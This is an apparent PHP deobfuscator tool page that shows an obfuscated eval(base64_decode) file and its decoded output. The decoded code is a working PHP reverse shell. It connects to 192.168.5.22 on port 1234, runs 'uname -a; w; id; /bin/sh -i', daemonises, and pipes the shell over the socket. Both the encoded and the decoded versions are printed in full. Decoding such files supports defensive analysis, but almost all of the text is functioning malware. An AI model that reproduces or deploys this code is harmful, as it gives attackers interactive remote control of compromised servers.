Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIGdybEk4OyBSU2duTjogd2hpbGUgKDEpIHsgaWYgKGZlb2YoJHNvY2sp..
Decoded Output download
goto grlI8; RSgnN: while (1) { if (feof($sock)) { printit("\105\122\x52\x4f\122\72\40\x53\150\x65\154\x6c\40\x63\157\156\x6e\x65\143\164\151\x6f\x6e\40\x74\x65\x72\155\x69\x6e\x61\x74\x65\x64"); break; } if (feof($pipes[1])) { printit("\105\x52\x52\x4f\122\x3a\x20\x53\x68\145\154\x6c\40\x70\162\x6f\x63\x65\x73\x73\x20\164\145\x72\x6d\151\x6e\x61\x74\x65\144"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) { printit("\x53\117\103\113\x20\x52\105\101\x44"); } $input = fread($sock, $chunk_size); if ($debug) { printit("\123\117\x43\x4b\x3a\x20{$input}"); } fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) { printit("\x53\x54\x44\x4f\x55\x54\x20\122\105\x41\x44"); } $input = fread($pipes[1], $chunk_size); if ($debug) { printit("\x53\x54\x44\117\125\x54\x3a\40{$input}"); } fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) { printit("\x53\x54\x44\x45\x52\x52\40\122\105\x41\104"); } $input = fread($pipes[2], $chunk_size); if ($debug) { printit("\123\124\104\105\122\122\x3a\40{$input}"); } fwrite($sock, $input); } } goto sOu1G; grlI8: set_time_limit(0); goto CrPRP; uOdQB: $descriptorspec = array(0 => array("\x70\151\160\x65", "\162"), 1 => array("\160\x69\x70\x65", "\x77"), 2 => array("\160\x69\x70\145", "\167")); goto M1AO7; cMcya: stream_set_blocking($sock, 0); goto qQNlk; dDhnm: $ip = "\x31\x39\x32\56\61\x36\70\x2e\x35\x2e\62\x32"; goto VU_78; IwZei: $daemon = 0; goto ns1Zk; ex2PT: stream_set_blocking($pipes[1], 0); goto Ftphp; jitXE: $sock = fsockopen($ip, $port, $errno, $errstr, 30); goto tH93A; rTLep: stream_set_blocking($pipes[0], 0); goto ex2PT; u7CBv: umask(0); goto jitXE; FKqu5: fclose($pipes[1]); goto Lwn7J; n8MTi: if (function_exists("\160\x63\x6e\164\154\x5f\146\157\162\x6b")) { $pid = pcntl_fork(); if ($pid == -1) { printit("\105\x52\x52\117\x52\x3a\x20\103\x61\x6e\47\164\x20\x66\x6f\x72\x6b"); die(1); } if ($pid) { die(0); } if (posix_setsid() == -1) { printit("\105\x72\162\157\x72\72\40\x43\141\156\x27\164\x20\163\145\x74\163\x69\x64\x28\x29"); die(1); } $daemon = 1; } else { printit("\x57\x41\x52\x4e\111\116\107\72\x20\x46\141\x69\x6c\145\144\40\164\x6f\40\x64\141\145\155\157\x6e\x69\163\145\x2e\x20\40\x54\x68\x69\x73\x20\151\x73\40\161\x75\x69\x74\145\x20\x63\x6f\155\x6d\x6f\156\40\141\x6e\x64\x20\156\x6f\164\40\x66\x61\164\x61\x6c\x2e"); } goto MyWp8; qQNlk: printit("\123\x75\143\143\x65\163\x73\146\x75\154\154\171\x20\157\x70\x65\156\x65\144\40\162\x65\166\x65\x72\x73\x65\x20\163\150\145\154\154\x20\164\157\40{$ip}\72{$port}"); goto RSgnN; MyWp8: chdir("\x2f"); goto u7CBv; ox2zK: $chunk_size = 1400; goto UiaPK; Ixmby: function printit($string) { global $daemon; if (!$daemon) { print "{$string}\xa"; } } goto WMb2W; sOu1G: fclose($sock); goto zKPzT; CrPRP: $VERSION = "\x31\56\60"; goto dDhnm; zKPzT: fclose($pipes[0]); goto FKqu5; OiyTu: $error_a = null; goto ewOX7; UiaPK: $write_a = null; goto OiyTu; SELpW: if (!is_resource($process)) { printit("\105\x52\122\117\122\72\40\103\x61\x6e\47\164\40\163\x70\141\x77\156\40\163\150\x65\x6c\x6c"); die(1); } goto rTLep; Ftphp: stream_set_blocking($pipes[2], 0); goto cMcya; M1AO7: $process = proc_open($shell, $descriptorspec, $pipes); goto SELpW; tH93A: if (!$sock) { printit("{$errstr}\x20\x28{$errno}\x29"); die(1); } goto uOdQB; XKoo7: proc_close($process); goto Ixmby; ns1Zk: $debug = 0; goto n8MTi; ewOX7: $shell = "\x75\156\x61\155\145\x20\55\141\73\x20\167\73\x20\x69\144\x3b\x20\57\142\x69\156\57\x73\150\x20\55\x69"; goto IwZei; VU_78: $port = 1234; goto ox2zK; Lwn7J: fclose($pipes[2]); goto XKoo7; WMb2W:
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIGdybEk4OyBSU2duTjogd2hpbGUgKDEpIHsgaWYgKGZlb2YoJHNvY2spKSB7IHByaW50aXQoIlwxMDVcMTIyXHg1Mlx4NGZcMTIyXDcyXDQwXHg1M1wxNTBceDY1XDE1NFx4NmNcNDBceDYzXDE1N1wxNTZceDZlXHg2NVwxNDNcMTY0XDE1MVx4NmZceDZlXDQwXHg3NFx4NjVceDcyXDE1NVx4NjlceDZlXHg2MVx4NzRceDY1XHg2NCIpOyBicmVhazsgfSBpZiAoZmVvZigkcGlwZXNbMV0pKSB7IHByaW50aXQoIlwxMDVceDUyXHg1Mlx4NGZcMTIyXHgzYVx4MjBceDUzXHg2OFwxNDVcMTU0XHg2Y1w0MFx4NzBcMTYyXHg2Zlx4NjNceDY1XHg3M1x4NzNceDIwXDE2NFwxNDVceDcyXHg2ZFwxNTFceDZlXHg2MVx4NzRceDY1XDE0NCIpOyBicmVhazsgfSAkcmVhZF9hID0gYXJyYXkoJHNvY2ssICRwaXBlc1sxXSwgJHBpcGVzWzJdKTsgJG51bV9jaGFuZ2VkX3NvY2tldHMgPSBzdHJlYW1fc2VsZWN0KCRyZWFkX2EsICR3cml0ZV9hLCAkZXJyb3JfYSwgbnVsbCk7IGlmIChpbl9hcnJheSgkc29jaywgJHJlYWRfYSkpIHsgaWYgKCRkZWJ1ZykgeyBwcmludGl0KCJceDUzXDExN1wxMDNcMTEzXHgyMFx4NTJcMTA1XDEwMVx4NDQiKTsgfSAkaW5wdXQgPSBmcmVhZCgkc29jaywgJGNodW5rX3NpemUpOyBpZiAoJGRlYnVnKSB7IHByaW50aXQoIlwxMjNcMTE3XHg0M1x4NGJceDNhXHgyMHskaW5wdXR9Iik7IH0gZndyaXRlKCRwaXBlc1swXSwgJGlucHV0KTsgfSBpZiAoaW5fYXJyYXkoJHBpcGVzWzFdLCAkcmVhZF9hKSkgeyBpZiAoJGRlYnVnKSB7IHByaW50aXQoIlx4NTNceDU0XHg0NFx4NGZceDU1XHg1NFx4MjBcMTIyXDEwNVx4NDFceDQ0Iik7IH0gJGlucHV0ID0gZnJlYWQoJHBpcGVzWzFdLCAkY2h1bmtfc2l6ZSk7IGlmICgkZGVidWcpIHsgcHJpbnRpdCgiXHg1M1x4NTRceDQ0XDExN1wxMjVceDU0XHgzYVw0MHskaW5wdXR9Iik7IH0gZndyaXRlKCRzb2NrLCAkaW5wdXQpOyB9IGlmIChpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKSB7IGlmICgkZGVidWcpIHsgcHJpbnRpdCgiXHg1M1x4NTRceDQ0XHg0NVx4NTJceDUyXDQwXDEyMlwxMDVceDQxXDEwNCIpOyB9ICRpbnB1dCA9IGZyZWFkKCRwaXBlc1syXSwgJGNodW5rX3NpemUpOyBpZiAoJGRlYnVnKSB7IHByaW50aXQoIlwxMjNcMTI0XDEwNFwxMDVcMTIyXDEyMlx4M2FcNDB7JGlucHV0fSIpOyB9IGZ3cml0ZSgkc29jaywgJGlucHV0KTsgfSB9IGdvdG8gc091MUc7IGdybEk4OiBzZXRfdGltZV9saW1pdCgwKTsgZ290byBDclBSUDsgdU9kUUI6ICRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoIlx4NzBcMTUxXDE2MFx4NjUiLCAiXDE2MiIpLCAxID0+IGFycmF5KCJcMTYwXHg2OVx4NzBceDY1IiwgIlx4NzciKSwgMiA9PiBhcnJheSgiXDE2MFx4NjlceDcwXDE0NSIsICJcMTY3IikpOyBnb3RvIE0xQU83OyBjTWN5YTogc3RyZWFtX3NldF9ibG9ja2luZygkc29jaywgMCk7IGdvdG8gcVFObGs7IGREaG5tOiAkaXAgPSAiXHgzMVx4MzlceDMyXDU2XDYxXHgzNlw3MFx4MmVceDM1XHgyZVw2Mlx4MzIiOyBnb3RvIFZVXzc4OyBJd1plaTogJGRhZW1vbiA9IDA7IGdvdG8gbnMxWms7IGV4MlBUOiBzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1sxXSwgMCk7IGdvdG8gRnRwaHA7IGppdFhFOiAkc29jayA9IGZzb2Nrb3BlbigkaXAsICRwb3J0LCAkZXJybm8sICRlcnJzdHIsIDMwKTsgZ290byB0SDkzQTsgclRMZXA6IHN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzBdLCAwKTsgZ290byBleDJQVDsgdTdDQnY6IHVtYXNrKDApOyBnb3RvIGppdFhFOyBGS3F1NTogZmNsb3NlKCRwaXBlc1sxXSk7IGdvdG8gTHduN0o7IG44TVRpOiBpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTYwXHg2M1x4NmVcMTY0XDE1NFx4NWZcMTQ2XDE1N1wxNjJceDZiIikpIHsgJHBpZCA9IHBjbnRsX2ZvcmsoKTsgaWYgKCRwaWQgPT0gLTEpIHsgcHJpbnRpdCgiXDEwNVx4NTJceDUyXDExN1x4NTJceDNhXHgyMFwxMDNceDYxXHg2ZVw0N1wxNjRceDIwXHg2Nlx4NmZceDcyXHg2YiIpOyBkaWUoMSk7IH0gaWYgKCRwaWQpIHsgZGllKDApOyB9IGlmIChwb3NpeF9zZXRzaWQoKSA9PSAtMSkgeyBwcmludGl0KCJcMTA1XHg3MlwxNjJcMTU3XHg3Mlw3Mlw0MFx4NDNcMTQxXDE1Nlx4MjdcMTY0XHgyMFwxNjNcMTQ1XHg3NFwxNjNceDY5XHg2NFx4MjhceDI5Iik7IGRpZSgxKTsgfSAkZGFlbW9uID0gMTsgfSBlbHNlIHsgcHJpbnRpdCgiXHg1N1x4NDFceDUyXHg0ZVwxMTFcMTE2XDEwN1w3Mlx4MjBceDQ2XDE0MVx4NjlceDZjXDE0NVwxNDRcNDBcMTY0XHg2Zlw0MFx4NjRcMTQxXDE0NVwxNTVcMTU3XHg2ZVx4NjlcMTYzXDE0NVx4MmVceDIwXDQwXHg1NFx4NjhceDY5XHg3M1x4MjBcMTUxXHg3M1w0MFwxNjFceDc1XHg2OVx4NzRcMTQ1XHgyMFx4NjNceDZmXDE1NVx4NmRceDZmXDE1Nlw0MFwxNDFceDZlXHg2NFx4MjBcMTU2XHg2ZlwxNjRcNDBceDY2XHg2MVwxNjRceDYxXHg2Y1x4MmUiKTsgfSBnb3RvIE15V3A4OyBxUU5sazogcHJpbnRpdCgiXDEyM1x4NzVcMTQzXDE0M1x4NjVcMTYzXHg3M1wxNDZceDc1XDE1NFwxNTRcMTcxXHgyMFwxNTdceDcwXHg2NVwxNTZceDY1XDE0NFw0MFwxNjJceDY1XDE2Nlx4NjVceDcyXHg3M1x4NjVceDIwXDE2M1wxNTBcMTQ1XDE1NFwxNTRceDIwXDE2NFwxNTdcNDB7JGlwfVw3MnskcG9ydH0iKTsgZ290byBSU2duTjsgTXlXcDg6IGNoZGlyKCJceDJmIik7IGdvdG8gdTdDQnY7IG94MnpLOiAkY2h1bmtfc2l6ZSA9IDE0MDA7IGdvdG8gVWlhUEs7IEl4bWJ5OiBmdW5jdGlvbiBwcmludGl0KCRzdHJpbmcpIHsgZ2xvYmFsICRkYWVtb247IGlmICghJGRhZW1vbikgeyBwcmludCAieyRzdHJpbmd9XHhhIjsgfSB9IGdvdG8gV01iMlc7IHNPdTFHOiBmY2xvc2UoJHNvY2spOyBnb3RvIHpLUHpUOyBDclBSUDogJFZFUlNJT04gPSAiXHgzMVw1Nlw2MCI7IGdvdG8gZERobm07IHpLUHpUOiBmY2xvc2UoJHBpcGVzWzBdKTsgZ290byBGS3F1NTsgT2l5VHU6ICRlcnJvcl9hID0gbnVsbDsgZ290byBld09YNzsgVWlhUEs6ICR3cml0ZV9hID0gbnVsbDsgZ290byBPaXlUdTsgU0VMcFc6IGlmICghaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7IHByaW50aXQoIlwxMDVceDUyXDEyMlwxMTdcMTIyXDcyXDQwXDEwM1x4NjFceDZlXDQ3XDE2NFw0MFwxNjNceDcwXDE0MVx4NzdcMTU2XDQwXDE2M1wxNTBceDY1XHg2Y1x4NmMiKTsgZGllKDEpOyB9IGdvdG8gclRMZXA7IEZ0cGhwOiBzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1syXSwgMCk7IGdvdG8gY01jeWE7IE0xQU83OiAkcHJvY2VzcyA9IHByb2Nfb3Blbigkc2hlbGwsICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKTsgZ290byBTRUxwVzsgdEg5M0E6IGlmICghJHNvY2spIHsgcHJpbnRpdCgieyRlcnJzdHJ9XHgyMFx4Mjh7JGVycm5vfVx4MjkiKTsgZGllKDEpOyB9IGdvdG8gdU9kUUI7IFhLb283OiBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsgZ290byBJeG1ieTsgbnMxWms6ICRkZWJ1ZyA9IDA7IGdvdG8gbjhNVGk7IGV3T1g3OiAkc2hlbGwgPSAiXHg3NVwxNTZceDYxXDE1NVwxNDVceDIwXDU1XDE0MVw3M1x4MjBcMTY3XDczXHgyMFx4NjlcMTQ0XHgzYlx4MjBcNTdcMTQyXHg2OVwxNTZcNTdceDczXDE1MFx4MjBcNTVceDY5IjsgZ290byBJd1plaTsgVlVfNzg6ICRwb3J0ID0gMTIzNDsgZ290byBveDJ6SzsgTHduN0o6IGZjbG9zZSgkcGlwZXNbMl0pOyBnb3RvIFhLb283OyBXTWIyVzog')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | d024526183da42c53a286b2263b15faa |
Eval Count | 1 |
Decode Time | 50 ms |